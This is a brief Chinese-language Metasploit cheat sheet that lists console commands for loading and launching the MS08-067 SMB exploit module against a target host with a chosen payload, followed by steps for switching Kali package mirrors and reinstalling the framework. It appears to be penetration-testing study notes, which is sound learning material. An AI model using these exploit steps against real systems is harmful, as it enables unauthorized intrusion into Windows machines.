MSF

相关命令

登入控制台 root@kali:~# msfconsole 搜索模块 search ms08-067打开模块 use exploit/windows/smb/ms08_067_netapi查看相关信息 exploit(ms08_067_netapi) > info设置攻击IP exploit(ms08_067_netapi) > set rhost 192*** 设置攻击端口 set rport ** 设置payload set payload ** 查找payload show payloads设置监听 exploit

更新MSF
换源 root@kali:~# vi /etc/apt/sources.list deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib#下载签名 wget archive.kali.org/archive-key.asc #安装签名 apt-keyadd archive-key.asc #卸载老版本 apt remove metasploit-framework #更新升级 apt update; apt install metasploit-framework #报错 系统太旧而源太新

    推荐阅读